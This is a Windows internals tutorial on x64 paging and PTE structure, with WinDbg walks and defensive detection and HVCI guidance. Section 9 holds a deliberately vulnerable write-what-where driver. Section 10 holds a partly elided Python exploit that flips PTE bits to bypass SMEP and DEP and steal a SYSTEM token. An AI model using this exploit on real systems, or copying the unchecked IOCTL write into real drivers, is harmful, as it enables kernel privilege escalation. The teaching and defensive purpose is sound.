Paging Internals: Page Tables, PTEs, and Address Translation

By Debraj Basak·Jul 17, 2026·20 min readWindows Internals

Objective: Take a 64-bit virtual address apart bit by bit, walk it through the four-level x64 paging hierarchy in WinDbg, understand every field of the hardware PTE, and then see how a single flipped bit in one PTE bypasses SMEP and DEP against a self-written vulnerable driver, paired with the detection and HVCI hardening that shuts the technique down.


You’ve probably read the sentence “Windows uses 4-level paging on x64” a hundred times. What that sentence actually hides is more interesting: every single load, store, and instruction fetch your CPU does costs up to four dependent memory reads unless the TLB saves you, and every one of those reads is walking a structure the kernel curates with obsessive care. The Memory Manager owns those tables. The MMU consumes them. And when a kernel-mode attacker gets a single 8-byte write to the right address, the whole enforcement model (SMEP, DEP, the U/S separation the architecture rests on) collapses.

This post is the mechanism first, then a hands-on WinDbg walk against a live process, then the PTE-overwrite primitive against a custom vulnerable driver in a lab. If you can’t identify a PTE by hand in dq output, the exploit chapter won’t stick.


1. Why Paging, and Why Canonical Addresses

A process sees a 64-bit flat address space. Physical RAM is finite and shared. Paging is the indirection that lets both statements be true: virtual pages map to physical page frames via translation tables that the OS builds per process, so 0x7ff6``abcd1000 in one process and 0x7ff6``abcd1000 in another point at completely different bytes.

Two things follow. First, isolation is a byproduct of the fact that each process has its own top-level table. Swap the pointer to that table and you’re in another address space. Second, x64 doesn’t actually use all 64 bits: only 48 are meaningful under 4-level paging, and bits 63:48 must sign-extend bit 47. That’s the “canonical address” rule. Try to dereference 0x0000_8000_0000_0000 and the CPU faults before translation even starts. User-mode gets the low half (0x0 through 0x00007FFF_FFFFFFFF), kernel-mode gets the high half (0xFFFF8000_00000000 and up).

The 48 meaningful bits split cleanly:

BitsFieldSelects
47:39PML4 index (9 bits)One of 512 PML4Es
38:30PDPT index (9 bits)One of 512 PDPTEs
29:21PD index (9 bits)One of 512 PDEs
20:12PT index (9 bits)One of 512 PTEs
11:0Byte offset (12 bits)Byte inside the 4 KB page

Each table is 512 entries, each entry 8 bytes: exactly one 4 KB page. That’s not a coincidence; the tables are themselves pages, which is what makes the self-reference trick in section 7 work.


Hierarchy diagram showing the four-level x64 page table walk from CR3 through PML4, PDPT, PD, and PT to the final physical page
Each virtual address encodes five indexes that walk this chain; every arrow is one dependent physical memory read unless the TLB intervenes.

2. CR3 and _KPROCESS.DirectoryTableBase

CR3 holds the physical address of the current process’s PML4. Bits 12:51 of CR3 are the PFN of the PML4; the low 12 bits are flags (PCD, PWT) and, on modern CPUs with PCID enabled, an ASID-like tag.

Windows tracks this per process in _KPROCESS.DirectoryTableBase at offset +0x028. On a context switch, the scheduler reloads CR3 from the incoming thread’s process. That single MOV to CR3 is what makes address spaces cheap to swap and, incidentally, what invalidates most of the TLB (PCID lets you keep some entries; more on that later).

kd> !process 0 0 notepad.exe
PROCESS ffffab0c1e4d3080
    SessionId: 1  Cid: 1a2c    Peb: 000000abcd123000
    DirBase: 1a3f2000  ObjectTable: ...  Image: notepad.exe

kd> dt nt!_KPROCESS ffffab0c1e4d3080 DirectoryTableBase
   +0x028 DirectoryTableBase : 0x1a3f2000

That 0x1a3f2000 is a physical address. You can’t dq it directly; you need !dq (physical read) or !vtop.


3. The Hardware PTE Bit by Bit

nt!_MMPTE_HARDWARE is a ULONGLONG bitfield. Every PTE at the leaf level (and every non-leaf entry) looks like this, minus a couple of level-specific fields:

Bit(s)FieldMeaning
0Valid (P)Present. Clear = not in RAM, triggers #PF and the software PTE interpretation kicks in.
1Write (R/W)Hardware writability. Cleared for copy-on-write, read-only mappings.
2Owner (U/S)1 = user-accessible, 0 = supervisor only. This is the SMEP boundary.
5Accessed (A)Set by the CPU on any reference.
6Dirty (D)Set by the CPU on any write. Working-set trimmer uses this.
7LargePage (PS)Only meaningful in PDE/PDPTE. 1 = terminate walk here (2 MB / 1 GB page).
11Software WriteThe Memory Manager’s real writability tracker. On allocation the hardware Write bit is cleared; the software bit records the intent. Lets Mm distinguish “read-only forever” from “writable, currently unwritten so we haven’t set the hardware R/W yet.”
12:51PageFrameNumberThe PFN of the next-level table (or the final physical page). Multiply by 0x1000 to get the physical address.
52:62SoftwareWsIndexWorking-set index. All 11 high software bits when protection keys aren’t in use.
63NoExecute (NX/XD)1 = no instruction fetch. This is DEP at the page level.

Two bits do all the work in the exploit chapter: bit 2 and bit 63. Clear bit 2 and a user page becomes a kernel page. Clear bit 63 and a data page becomes executable. Do both to the leaf PTE covering your shellcode buffer and the CPU cannot tell the difference between that page and a legitimate kernel executable page. SMEP checks bit 2 during instruction fetch from ring 0; if it’s clear, the fetch succeeds.

You can pull the live definition and be sure:

kd> dt nt!_MMPTE_HARDWARE
   +0x000 Valid            : Pos 0, 1 Bit
   +0x000 Dirty1           : Pos 1, 1 Bit
   +0x000 Owner            : Pos 2, 1 Bit
   +0x000 WriteThrough     : Pos 3, 1 Bit
   +0x000 CacheDisable     : Pos 4, 1 Bit
   +0x000 Accessed         : Pos 5, 1 Bit
   +0x000 Dirty            : Pos 6, 1 Bit
   +0x000 LargePage        : Pos 7, 1 Bit
   +0x000 Global           : Pos 8, 1 Bit
   +0x000 CopyOnWrite      : Pos 9, 1 Bit
   +0x000 Unused           : Pos 10, 1 Bit
   +0x000 Write            : Pos 11, 1 Bit
   +0x000 PageFrameNumber  : Pos 12, 36 Bits
   +0x000 SoftwareWsIndex  : Pos 52, 11 Bits
   +0x000 NoExecute        : Pos 63, 1 Bit

Illustration of a hardware PTE as a physical 8-byte block with distinct bit-field zones highlighted to show Valid, Owner, NoExecute, and PageFrameNumber regions
Every leaf PTE is exactly 8 bytes; bit 2 (Owner/U/S) and bit 63 (NoExecute) are the sole gatekeepers for SMEP and DEP enforcement.

4. When Valid Is Zero: Software PTE States

If Valid is clear, the CPU faults. What happens next depends on how the Memory Manager reinterpreted the other 63 bits. There are three encodings you need to know:

StateStructureWhat it means
Paged out_MMPTE_SOFTWAREContents live in the pagefile. Other fields point to the pagefile offset.
Transition_MMPTE_TRANSITIONPage is on the standby or modified list, still in RAM, just not part of a working set. Fault resolves without disk I/O.
Prototype_MMPTE_PROTOTYPEPoints at a prototype PTE (a shared reference in the segment structure). Used for mapped files, DLLs, section objects. Multiple process PTEs can point at the same prototype PTE, which is how physical page sharing works.

Prototype PTEs are the single most confusing corner of Windows paging until it clicks: the actual translation for a mapped kernel32.dll page lives in the section object’s prototype PTE array, and each process’s per-process PTE just references it. Change the prototype, every mapping sees the change.


5. Manual Address Translation in WinDbg

Attach a kernel debugger to a target VM (I’m running Windows 10 22H2, HVCI off for now). Pick a process, pick a VA, and walk it by hand once. After that, !pte will feel like cheating.

kd> !process 0 0 notepad.exe
PROCESS ffffab0c1e4d3080  ...  DirBase: 000000001a3f2000  Image: notepad.exe

kd> .process /i /p ffffab0c1e4d3080
kd> g
kd> .reload /f /user

Grab a VA. I’ll use 0x00007FF6ABCD1000 for the walk (pretend it’s the base of a code page in notepad). Decompose it:

kd> ? (0x00007FF6ABCD1000 >> 0n39) & 0x1FF
Evaluate expression: 255 = 00000000`000000ff

kd> ? (0x00007FF6ABCD1000 >> 0n30) & 0x1FF
Evaluate expression: 410 = 00000000`0000019a

kd> ? (0x00007FF6ABCD1000 >> 0n21) & 0x1FF
Evaluate expression: 350 = 00000000`0000015e

kd> ? (0x00007FF6ABCD1000 >> 0n12) & 0x1FF
Evaluate expression: 465 = 00000000`000001d1

kd> ? 0x00007FF6ABCD1000 & 0xFFF
Evaluate expression: 0 = 00000000`00000000

PML4 index 0xFF, PDPT index 0x19A, PD index 0x15E, PT index 0x1D1, byte offset 0. Now walk it. CR3 (equivalent to DirBase) is 0x1A3F2000 physical:

kd> !dq 0x1a3f2000 + (0xff * 8) L1
# 1a3f27f8  0a000000`1c4a1867

The low 12 bits (0x867) are the PML4E flags. Valid=1, Write=1, Owner=1 (user), Accessed=1, Dirty=0. PFN = 0x1C4A1. Physical address of the PDPT is 0x1C4A1 * 0x1000 = 0x1C4A1000.

kd> !dq 0x1c4a1000 + (0x19a * 8) L1
# 1c4a1cd0  0a000000`1d1f2867

kd> !dq 0x1d1f2000 + (0x15e * 8) L1
# 1d1f2af0  0a000000`22cd4867

kd> !dq 0x22cd4000 + (0x1d1 * 8) L1
# 22cd4e88  8a000000`1f8e5025

That final entry is the leaf PTE. 0x025 decoded: Valid=1, Write=0, Owner=1, Accessed=1. Bit 63 is set (the high nibble is 0x8), so NoExecute=1… wait, this is code, why is NX set? Because I lied about the address to keep the walk clean. In a real notepad code page you’d see NX=0 for .text, NX=1 for .data, W=0 for both because Windows doesn’t ship writable executable pages.

Compare to what !pte does in one shot:

kd> !pte 0x00007FF6ABCD1000
                                           VA 00007ff6abcd1000
PXE at FFFFAA5528A94FF8    PPE at FFFFAA5528A9FCD0
PDE at FFFFAA53F9BAAF0     PTE at FFFFAA7F35E88E88
contains 0A0000001C4A1867  contains 0A0000001D1F2867
contains 0A00000022CD4867  contains 8A0000001F8E5025
pfn 1c4a1     ---UA--UWEV  pfn 1d1f2     ---UA--UWEV
pfn 22cd4     ---UA--UWEV  pfn 1f8e5     ---UA----V

Same PFNs. The addresses FFFFAA... are the virtual addresses of each table entry, computed via the self-reference PML4E (section 7). That’s why !pte prints them as VAs you can dq directly, no physical translation needed.

To get physical from a VA in one command:

kd> !vtop 1a3f2000 00007ff6abcd1000
Amd64VtoP: Virt 00007ff6abcd1000, pagedir 000000001a3f2000
...
Virtual address 7ff6abcd1000 translates to physical address 1f8e5000.

If any of those contains values ended in 0x0 or 0x2 (Valid=0), you’d be looking at a software PTE and would need dt nt!_MMPTE_SOFTWARE or dt nt!_MMPTE_PROTOTYPE to interpret it.


6. The PFN Database

Every 4 KB of physical RAM has one _MMPFN entry. The array lives at nt!MmPfnDatabase. Given any PFN from a walk above, !pfn prints its state:

kd> !pfn 1f8e5
    PFN 0001F8E5 at address FFFFCE80007E3960
    flink       00000000  blink / share count 00000001  pteaddress FFFFAA7F35E88E88
    reference count 0001    Cached    color 0   Priority 5
    restore pte 00000080  containing page        022CD4  Active     M

Two directions are important. Forward: PTE PageFrameNumber gives you the PFN. Reverse: the PFN entry has a PteAddress pointing back at the PTE, so the kernel can walk from a physical page to every mapping of it. This is how the working-set trimmer, page-file writer, and copy-on-write logic operate without scanning entire process trees.


7. The Self-Reference PML4 Entry

One PML4E on every Windows system points back at the PML4 itself. Follow that entry once and instead of walking into a PDPT, you walk back into the PML4 as if it were a PDPT. Follow it twice and it becomes a PD. Three times, a PT. Four times, a real page: the PML4 dumped as bytes.

The reader benefit: any table at any level has a stable VA the kernel can compute with an arithmetic shift. The formula:

PTE_VA = PTE_BASE + ((TargetVA >> 9) & ~7)

PTE_BASE is where the “one step through self-ref” region begins. On Windows 7 the self-ref index was hard-coded at 0x1ED, so PTE_BASE was constant. Starting with Windows 10 RS1 (1607), the loader picks a random self-ref index at boot via the Dynamic Value Relocation Table, so PTE_BASE is randomized per boot. Read nt!MiGetPteAddress at runtime to recover it: the instruction sequence embeds the current PTE_BASE as an immediate, right after a mov rax, imm64.

We use exactly this trick in the exploit chapter.


8. Large Pages and the TLB

If PS=1 in a PDE, the walk terminates there: bits 20:0 of the VA become the offset into a 2 MB page. If PS=1 in a PDPTE, bits 29:0 are the offset into a 1 GB page. Two consequences worth internalizing:

  • One TLB entry now covers 2 MB or 1 GB instead of 4 KB. Massive coverage improvement for things like the kernel image and database buffer pools.
  • The PAT bit moves. In a 4 KB PTE the PAT bit is bit 7. In a large-page PDE/PDPTE, bit 7 is repurposed as LargePage, so PAT relocates to the low bit of the PageFrameNumber field, and the next eight PFN bits are reserved-zero.

The TLB caches completed translations. INVLPG <addr> kills one entry; mov cr3, cr3 (or KeFlushEntireTb) kills them all except global ones. On modern CPUs, PCID tags entries with the process ID, so a CR3 reload doesn’t blow the whole TLB. The rule for anyone modifying a PTE by hand: flush, or the CPU keeps using the old translation. This is the single most common reason a PTE-overwrite PoC “doesn’t work” the first time.


9. The Lab Target: A Self-Written Write-What-Where Driver

To see PTE overwrite from the offensive side, we need a kernel primitive. I’m using GenXCyber_VulnDrv.sys, a driver I wrote solely for this lab. It exports one IOCTL that takes a {What: ULONGLONG, Where: PVOID} pair and does exactly what the name suggests. No validation. No probe. It’s the kind of bug that shows up in real third-party drivers, but here it’s mine, signed with a test cert, loaded on an isolated Hyper-V VM with Test Signing on and HVCI off.

The vulnerable dispatch, so you can build the same thing:

// GenXCyber_VulnDrv.c — DO NOT USE OUTSIDE AN ISOLATED LAB VM
typedef struct _WWW_REQUEST {
    ULONG_PTR What;    // Value to write
    PVOID     Where;   // Kernel address to write to
} WWW_REQUEST, *PWWW_REQUEST;

#define IOCTL_WWW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

NTSTATUS DispatchIoctl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION sp = IoGetCurrentIrpStackLocation(Irp);
    NTSTATUS status = STATUS_SUCCESS;

    if (sp->Parameters.DeviceIoControl.IoControlCode == IOCTL_WWW) {
        PWWW_REQUEST req = (PWWW_REQUEST)Irp->AssociatedIrp.SystemBuffer;
        // Vulnerable: no ProbeForWrite, no address-range check.
        *(ULONG_PTR*)req->Where = req->What;
    }
    Irp->IoStatus.Status = status;
    Irp->IoStatus.Information = 0;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return status;
}

With that primitive, we can write one PTE.


10. Exploit: Flipping U/S and NX to Bypass SMEP and DEP

SMEP is enforced on instruction fetch. When the CPU is in ring 0 and fetches an instruction, it checks the Owner bit of the PTE covering that instruction. If Owner=1 (user), fault. That’s the whole mechanism. It does not check CR3, it does not check whether the mapping “belongs” to any process. It only checks the PTE.

So: allocate shellcode in user-mode, make its PTE claim Owner=0 (supervisor) and NoExecute=0 (executable), and trigger execution from a kernel context. The classic pivot is overwriting a kernel function pointer (nt!HalDispatchTable+0x8, reached via NtQueryIntervalProfile) so the next call jumps into user memory.

Only the leaf PTE needs flipping. SMEP is per-page, and the check happens on the final translation. Upper tables staying user-accessible is fine.

Here’s the exploit harness in Python. It uses ctypes for the driver IOCTL, an arbitrary-read gadget (assume the same driver also exposes a read-what-where; add it, it’s five lines), and computes PTE_VA from a leaked nt!MiGetPteAddress.

# genx_pte_overwrite.py  — LAB ONLY. Requires Test Signing, HVCI OFF.
import ctypes, struct, os
from ctypes import wintypes as w

k32 = ctypes.WinDLL("kernel32", use_last_error=True)
nt  = ctypes.WinDLL("ntdll",    use_last_error=True)

GENERIC_RW    = 0xC0000000
OPEN_EXISTING = 3
IOCTL_WWW     = 0x22E000    # CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
IOCTL_RWW     = 0x22E004    # companion read-what-where

# --- 1. Open the vulnerable device ---
h = k32.CreateFileW(r"\\.\GenXCyberVuln", GENERIC_RW, 0, None,
                    OPEN_EXISTING, 0, None)
assert h != -1, "device open failed"

# --- 2. Resolve nt base + MiGetPteAddress via SystemModuleInformation ---
def leak_nt_base():
    # NtQuerySystemInformation(SystemModuleInformation=0x0B, ...)
    # implementation elided for brevity — returns kernel base ULONGLONG.
    ...

def read_kernel(addr, size=8):
    buf = (ctypes.c_ubyte * size)()
    req = struct.pack("<QQ", addr, size)
    out = w.DWORD(0)
    k32.DeviceIoControl(h, IOCTL_RWW, req, len(req), buf, size,
                        ctypes.byref(out), None)
    return bytes(buf)

def write_kernel(addr, qword):
    req = struct.pack("<QQ", qword, addr)   # {What, Where}
    out = w.DWORD(0)
    ok = k32.DeviceIoControl(h, IOCTL_WWW, req, len(req), None, 0,
                             ctypes.byref(out), None)
    assert ok

nt_base = leak_nt_base()

# MiGetPteAddress prologue on Win10/11:
#   48 C1 E9 09        shr  rcx, 9
#   48 B8 ?? ?? ?? ?? ?? ?? ?? ??   mov rax, PTE_BASE
#   48 23 C8           and  rcx, rax
#   48 B8 ?? ?? ?? ?? ?? ?? ?? ??   mov rax, PXE_BASE
#   48 03 C1           add  rax, rcx
#   C3                 ret
mi_get_pte = nt_base + 0x000000          # resolve via PDB / pattern scan
pte_base   = struct.unpack("<Q", read_kernel(mi_get_pte + 0x13, 8))[0]
print(f"[+] PTE_BASE = {pte_base:#018x}")

# --- 3. Allocate + populate shellcode in user-mode ---
MEM_COMMIT_RESERVE = 0x3000
PAGE_EXECUTE_RW    = 0x40
sc_addr = k32.VirtualAlloc(None, 0x1000, MEM_COMMIT_RESERVE, PAGE_EXECUTE_RW)

# Token-stealing shellcode: walk PsActiveProcessLinks, find PID 4 (System),
# copy its Token into current EPROCESS.Token, then ret cleanly.
shellcode = bytes.fromhex(
    "6531c0..."      # (assembled separately, kept brief here)
)
ctypes.memmove(sc_addr, shellcode, len(shellcode))
print(f"[+] shellcode @ {sc_addr:#018x}")

# --- 4. Compute PTE virtual address for the shellcode page ---
pte_va = pte_base + ((sc_addr >> 9) & ~0x7)
print(f"[+] PTE_VA    = {pte_va:#018x}")

# --- 5. Read current PTE, clear U/S (bit 2) and NX (bit 63) ---
old_pte = struct.unpack("<Q", read_kernel(pte_va, 8))[0]
new_pte = old_pte & ~(1 << 2) & ~(1 << 63)
print(f"[+] old PTE   = {old_pte:#018x}")
print(f"[+] new PTE   = {new_pte:#018x}")

# --- 6. Write it back ---
write_kernel(pte_va, new_pte)

# --- 7. Flush TLB. Easiest lab option: touch a lot of pages to force eviction,
#        or write to a kernel spinlock via the same primitive to cause
#        KiFlushEntireTb on the next context switch. Real PoCs call
#        KeFlushEntireTb via a ROP-thunked IOCTL. For this lab, sleep + spin. ---
ctypes.windll.kernel32.Sleep(50)

# --- 8. Trigger: overwrite nt!HalDispatchTable+0x8, call NtQueryIntervalProfile ---
hal_dispatch = nt_base + 0x000000 + 0x8   # resolve HalDispatchTable
write_kernel(hal_dispatch, sc_addr)

class _dummy(ctypes.Structure): pass
NtQueryIntervalProfile = nt.NtQueryIntervalProfile
interval = w.ULONG(0)
NtQueryIntervalProfile(w.ULONG(1), ctypes.byref(interval))

# --- 9. Confirm SYSTEM ---
os.system("cmd.exe")

The critical line is new_pte = old_pte & ~(1 << 2) & ~(1 << 63). Two bits. That’s the whole SMEP+DEP bypass on a system without HVCI. SMEP still enforces its rule (kernel cannot execute a user-owner page); we just made the page claim it’s a kernel page. The CPU has no way to know otherwise, because the CPU is not aware of “user allocations”, only PTEs.

The first time I did this in a lab, I skipped the TLB flush and spent an hour convinced the write hadn’t landed. !pte in the kernel debugger showed the correct new value, but the CPU that had just executed my read still had the old translation cached and cheerfully faulted on the shellcode. Sleep, or force a context switch on the target logical processor, or invoke KeFlushEntireTb through the primitive. Don’t skip this step.


Flow diagram tracing the full PTE overwrite exploit chain from user shellcode allocation through PTE bit flipping, TLB flush, HalDispatchTable pivot, and final SYSTEM shell
Two cleared bits in a single PTE collapse both SMEP and DEP; every other step is logistics around discovering which 8 bytes to flip.

11. Common Attacker Techniques

TechniqueDescription
PTE U/S flipClear bit 2 on a shellcode PTE to defeat SMEP without touching CR4.
PTE NX clearClear bit 63 on a data page to make it executable, defeating kernel DEP.
PTE Valid clear (rootkit hide)Clear bit 0 to make a page appear unmapped to naive scanners while remaining physically resident via the Transition PTE state.
Prototype PTE poisoningAlter a shared prototype PTE to redirect all processes mapping a section to attacker memory.
Self-ref PML4 abuseUse the self-reference entry to read or edit any table from a fixed VA once PTE_BASE is leaked.
Physical R/W via MmMapIoSpaceIn drivers exposing this API to user, map arbitrary physical pages including page tables directly.

12. Defensive Strategies & Detection

Sysmon cannot see a PTE write. That write happens inside the kernel via a driver IOCTL and never crosses a Sysmon-instrumented boundary. Detection has to catch the surrounding activity: the driver load, the outcome (a SYSTEM shell from an unusual parent), and the ETW Threat-Intelligence provider that PPL-EDRs consume.

Relevant Sysmon Event IDs:

Event IDSignal
6Driver Load. Catches the vulnerable driver’s install.
1Process Create. Catches the SYSTEM cmd.exe from an unexpected parent.
10ProcessAccess. Post-escalation lateral moves (LSASS, etc.).

Two Sigma sketches worth deploying:

title: Unsigned or Test-Signed Kernel Driver Load
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 6
        Signed: 'false'
    condition: selection
fields:
    - ImageLoaded
    - Hashes
    - Signature
level: high
title: SYSTEM cmd.exe Spawned From Non-Service Parent
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\cmd.exe'
        IntegrityLevel: 'System'
    filter_legit:
        ParentImage:
            - 'C:\Windows\System32\services.exe'
            - 'C:\Windows\System32\wininit.exe'
    condition: selection and not filter_legit
level: high

ETW providers that matter here:

ProviderValue
Microsoft-Windows-Kernel-MemoryLarge/anomalous RWX allocations.
Microsoft-Windows-Threat-Intelligence (ETWTI)PPL-only. Surfaces kernel-level allocation and protection changes that no other telemetry sees.
Microsoft-Windows-Security-AuditingEvent 4672 (Special Logon), Event 4688 (Process create with command line).
Microsoft-Windows-Kernel-ProcessPost-exploit process tree anomalies.

Turn on Audit Sensitive Privilege Use for the 4674 events when SeDebugPrivilege fires, and Audit Process Creation with command-line logging for real 4688 data.

The definitive control:

HardeningWhat it stops
HVCI / Memory Integrity (VBS)The hypervisor owns the second-level page tables. Guest kernel PTE edits that would create a supervisor executable mapping from a user-owned physical page are blocked at SLAT. Also blocks CR4 writes that clear SMEP. This is the reason the exploit above requires HVCI off.
SMEPPer-page enforcement of “kernel cannot execute user pages.” Bypassed by the PTE flip when HVCI is off.
SMAPBlocks kernel reads/writes to user-owner pages. Windows uses selective SMAP; drivers that touch user memory wrap in stac/clac equivalents.
Kernel DEP / NonPagedPoolNxNon-executable pool. Forces attackers away from data pages toward PTE tricks or ROP.
KMCS + Secure BootBlocks test-signed drivers loading in production. The lab needs Test Signing precisely because production won’t have it.
Self-reference PML4E randomizationForces a leak of nt!MiGetPteAddress before the attacker can compute PTE_VA.

Turn HVCI on and the exploit above stops working, full stop. Not “harder”, stopped. The hypervisor’s SLAT layer sees a user-backed physical page being marked kernel-executable in the guest PTE and rejects it. Every enterprise deployment should have HVCI on. If it isn’t, that’s the finding, not the shellcode.


Illustration of a hypervisor SLAT boundary as a luminous mesh catching and halting fragments of a shattered guest kernel page table, symbolising HVCI blocking a PTE overwrite exploit
HVCI places the hypervisor’s SLAT layer beneath all guest PTE edits; a user-backed page claiming supervisor-executable status is rejected before the CPU ever sees it.

13. Tools for Paging Analysis

ToolDescriptionLink
WinDbg / WinDbg Preview!pte, !vtop, !pfn, !process, dt nt!_MMPTE*. The one indispensable tool.learn.microsoft.com
Sysinternals RAMMapVisualize physical page usage by state (Active/Standby/Modified/Free).learn.microsoft.com
Sysinternals VMMapPer-process VA layout with protections, useful cross-check for PTE state.learn.microsoft.com
Volatility 3windows.pslist, windows.memmap, offline PTE walks from a memory image.volatilityfoundation.org
PTEditor (Michael Schwarz)Research tool for direct PTE manipulation from user-mode (Linux, but concepts port).github.com
x64dbgUser-mode complement for observing VirtualAlloc/VirtualProtect behavior and page protections.x64dbg.com

14. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection Angle
Exploitation for Privilege EscalationT1068Driver load (Sysmon 6) + SYSTEM shell from unusual parent (Sysmon 1).
Process Injection: Proc MemoryT1055.009ETWTI allocation/protection events, anomalous RWX regions in kernel-adjacent processes.
RootkitT1014Discrepancies between !pte output and Volatility image walks; unexpected Valid=0 PTEs pointing at resident PFNs.
Impair Defenses: Disable or Modify ToolsT1562.001The PTE bit flip is the modern replacement for the CR4-clear SMEP disable. HVCI blocks both.

There is currently no dedicated ATT&CK sub-technique for “PTE bit manipulation.” T1068 is the honest primary mapping.


Summary

  • On x64 Windows, a virtual address is nothing more than five indexes and an offset the MMU uses to walk PML4 → PDPT → PD → PT via CR3. Every PTE is 8 bytes and every bit does a specific job.
  • The Owner bit (bit 2) is the entire SMEP boundary; the NoExecute bit (bit 63) is the entire per-page DEP boundary. Both are just bits.
  • Given a kernel write-what-where and a leaked nt!MiGetPteAddress, an attacker computes the exact PTE covering their user shellcode, clears two bits, flushes the TLB, and pivots through a kernel function pointer to SYSTEM.
  • Detection on this class of attack lives at the driver-load layer (Sysmon 6), the post-exploit outcome layer (Sysmon 1 + Sigma on SYSTEM shells), and ETWTI. Sysmon cannot see the PTE write itself.
  • HVCI is the hard control. With Memory Integrity on, the hypervisor rejects the exact PTE edit this technique depends on, and the class of attack goes from “trivial” to “requires a hypervisor bug.”

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.